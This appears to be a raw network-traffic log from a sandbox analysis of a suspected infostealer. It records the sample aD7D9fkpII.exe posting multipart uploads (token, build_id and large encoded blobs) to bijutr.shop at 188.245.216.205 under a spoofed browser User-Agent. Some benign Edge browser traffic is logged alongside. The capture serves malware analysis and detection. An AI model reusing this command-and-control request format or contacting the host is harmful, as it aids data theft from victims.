2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:44 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49866	23.209.72.25	443	7500	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:47 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2BA4C89BEAD6644B32BDDDF9EBCF652E; _EDGE_S=F=1&SID=2CAA7B291DCA69C1390F6E4B1C9F68D2; _EDGE_V=1
2024-12-27 07:20:47 UTC	1003	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Fri, 27 Dec 2024 07:20:47 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.135,b=1961903625,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.135 Akamai-Request-ID: 74f04609 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.8704d217.1735284047.74f04609 Vary: Origin
2024-12-27 07:20:47 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49888	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:47 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----D2DBI5PPH4EUAIMOHVK6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 44 32 44 42 49 35 50 50 48 34 45 55 41 49 4d 4f 48 56 4b 36 0d 0a 43 6f 6e 74 Data Ascii: ------D2DBI5PPH4EUAIMOHVK6Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------D2DBI5PPH4EUAIMOHVK6Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------D2DBI5PPH4EUAIMOHVK6Cont
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:47 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:49 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49902	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:49 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BS0HDTR1VKF37YUAS2VA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
